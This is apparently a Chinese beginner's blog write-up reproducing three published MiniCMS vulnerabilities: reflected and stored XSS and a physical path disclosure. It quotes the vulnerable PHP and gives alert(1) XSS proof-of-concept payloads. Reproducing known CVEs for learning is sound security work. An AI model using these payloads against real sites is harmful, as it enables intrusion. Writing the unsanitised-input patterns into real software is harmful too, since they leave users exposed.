MiniCMS漏洞复现(一)

安全小白的第一次动手漏洞复现。

简介

MiniCMS是一个针对个人网站设计的微型CMS。它的特点是:

  1. 不需要数据库在支持,只需要一个可以运行PHP的Web环境。
  2. 只针对个人网站设计,没有复杂的成员管理和权限设置。
  3. 没有分类只有标签,免除发布文章时到底该怎么分类的纠结。
  4. 只有“文章”和“页面”两该个系统,没有“评论”、“插件”、“主题”,让你更专注于创造内容。

项目地址:https://github.com/bg5sbk/MiniCMS

CVE复现

CVE-2018-1000638 反射型XSS

存在位置:/MiniCMS-master/mc-admin/page.php处date参数存在XSS漏洞。

找到传参点:

1
2
3
4
5
6
7
if (isset($_GET['date']))

$filter_date = $_GET['date'];

else

$filter_date = '';

这里GET传入了date参数,而后没有进行任何过滤处理直接插入到前端代码中,且不止一处。

因此,此处可以构造语句进行XSS攻击,构造语句如下:

1
?date="></a><img%20src=1%20onerror=alert(1)><a>

效果:

CVE-2018-10227 存储型XSS

存在位置:/MiniCMS-master/MiniCMS-master/mc-admin/conf.php 在设置中修改网站地址处存在XSS漏洞,可直接存储XSS payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_POST['save'])) {
$user_name_changed = $_POST['user_name'] != $mc_config['user_name'];

$mc_config['site_name'] = $_POST['site_name'];
$mc_config['site_desc'] = $_POST['site_desc'];
$mc_config['site_link'] = $_POST['site_link'];
$mc_config['user_nick'] = $_POST['user_nick'];
$mc_config['user_name'] = $_POST['user_name'];
$mc_config['comment_code'] = get_magic_quotes_gpc() ? stripslashes(trim($_POST['comment_code'])) : trim($_POST['comment_code']);

if ($_POST['user_pass'] != '')
$mc_config['user_pass'] = $_POST['user_pass'];

$code = "<?php\n\$mc_config = ".var_export($mc_config, true)."\n?>";

file_put_contents('../mc-files/mc-conf.php', $code);

conf.php中进行设置的更改,对于site_link参数没有进行过滤处理直接写入了mc-conf.php,虽然在下面出现了过滤性输出:

1
2
3
4
5
<div class="field">
<div class="label">网站地址</div>
<input class="textbox" type="text" name="site_link" value="<?php echo htmlspecialchars($site_link); ?>" />
<div class="info"></div>
</div>

但是在head.php中没有使用htmlspecialchars进行过滤,直接将mc_config['site_link']输出给了前端,看到后面site_name中有进行过滤处理,怀疑是开发人员的疏忽导致的。

构造语句:

1
http://localhost/MiniCMS"></a><img src=1 onerror=alert(1)><a>

效果:

cve-2018-10227_show2

CVE-2018-10424 物理路径泄露

存在位置:/MiniCMS-master/mc-admin/post-edit.php处将GET的参数id改为不存在的文件名,会爆出物理地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
} else if (isset($_GET['id'])) {
$file_path = '../mc-files/posts/data/'.$_GET['id'].'.dat';

$data = unserialize(file_get_contents($file_path));

$post_id = $data['id'];
$post_state = $data['state'];
$post_title = $data['title'];
$post_content = $data['content'];
$post_tags = $data['tags'];
$post_date = $data['date'];
$post_time = $data['time'];
$post_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
}

这里传参数id,前端会输出对应的id的文章内容,如果输入的id不存在则会报错,直接爆出物理地址。